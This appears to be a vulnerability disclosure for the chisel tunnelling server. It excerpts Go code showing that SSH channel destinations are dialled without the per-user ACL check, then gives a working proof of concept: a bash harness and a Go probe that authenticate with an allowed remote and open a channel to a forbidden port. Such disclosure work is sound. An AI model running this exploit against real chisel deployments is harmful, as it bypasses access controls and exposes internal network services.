jpillora/chisel EUVD-2026-52444

for _, r := range c.Remotes {
    if user != nil {
        addr := r.UserAddr()
        if !user.HasAccess(addr) {
            failed(s.Errorf("access to '%s' denied", addr))
            return
        }
    }
}
r.Reply(true, nil)

func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {
    remote := string(ch.ExtraData())        // client-controlled
    hostPort, proto := settings.L4Proto(remote)
    sshChan, reqs, err := ch.Accept()       // accepted unconditionally
    // ...
    err = t.handleTCP(l, stream, hostPort)  // dials whatever client said
}

func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {
    dst, err := net.Dial("tcp", hostPort)   // no ACL check
    // ...
}

type Config struct {
    *cio.Logger
    Inbound   bool
    Outbound  bool
    Socks     bool
    KeepAlive time.Duration
    // ------- No User, no AllowedRemotes, no ACL
}

poc
├── poc.sh
└── probe
    ├── go.mod
    ├── go.sum
    └── main.go

#!/usr/bin/env bash
# Requires: Go, nc (netcat)

set -euo pipefail
DIR="$(cd "$(dirname "$0")" && pwd)"
REPO="$DIR/.."

freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; }
cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; }
trap cleanup EXIT
# Build
echo "[*] Building..."
(cd "$REPO"       && go build -o /tmp/_chisel .)
(cd "$DIR/probe"  && go build -o /tmp/_probe  .)
# Ports
SP=$(freeport); AP=$(freeport); BP=$(freeport)
echo "[*] Server :$SP  Allowed :$AP  Blocked :$BP"
# Authfile - user:pass may only reach 127.0.0.1:$AP
AUTH=$(mktemp)
printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH"
# Start forbidden-target listener and chisel server
(echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$!
/tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$!
sleep 1
# Exploit
CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probe

// Chisel ACL bypass probe. Authenticates with an allowed remote,
// then opens an SSH channel to a forbidden destination via ExtraData.
package main

import (
	"encoding/json"
	"fmt"
	"net"
	"net/http"
	"os"
	"time"

	"github.com/gorilla/websocket"
	"github.com/jpillora/chisel/share/cnet"
	"github.com/jpillora/chisel/share/settings"
	"golang.org/x/crypto/ssh"
)

func main() {
	server := os.Getenv("CHISEL_SERVER")
	allowed := os.Getenv("ALLOWED_PORT")
	blocked := os.Getenv("BLOCKED_PORT")

	// WebSocket → net.Conn
	ws, _, err := (&websocket.Dialer{
		HandshakeTimeout: 5 * time.Second,
		Subprotocols:     []string{"chisel-v3"},
	}).Dial("ws://"+server, http.Header{})
	check(err, "ws dial")
	conn := cnet.NewWebSocketConn(ws)

	// SSH handshake
	sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{
		User:            "user",
		Auth:            []ssh.AuthMethod{ssh.Password("pass")},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
	})
	check(err, "ssh")
	go ssh.DiscardRequests(reqs)
	go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }()

	// Send config with only the allowed remote
	r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed))
	cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}})
	ok, reply, err := sc.SendRequest("config", true, cfg)
	check(err, "config")
	if !ok {
		die("config rejected: %s", reply)
	}
	fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed)

	// Open channel to BLOCKED destination
	target := net.JoinHostPort("127.0.0.1", blocked)
	ch, cr, err := sc.OpenChannel("chisel", []byte(target))
	if err != nil {
		fmt.Printf("[-] REJECTED - server refused %s\n", target)
		os.Exit(1)
	}
	go ssh.DiscardRequests(cr)
	fmt.Printf("[!] ACCEPTED - channel opened to %s\n", target)

	// Read response from forbidden target
	buf := make([]byte, 256)
	done := make(chan int, 1)
	go func() { n, _ := ch.Read(buf); done <- n }()
	select {
	case n := <-done:
		if n > 0 {
			fmt.Printf("[!] Data: %s\n", buf[:n])
		}
	case <-time.After(3 * time.Second):
	}
	fmt.Println("CONFIRMED - ACL bypass: server dialed unauthorized destination")
	ch.Close()
	sc.Close()
}

func check(err error, ctx string) {
	if err != nil {
		die("%s: %v", ctx, err)
	}
}
func die(f string, a ...interface{}) {
	fmt.Fprintf(os.Stderr, f+"\n", a...)
	os.Exit(1)
}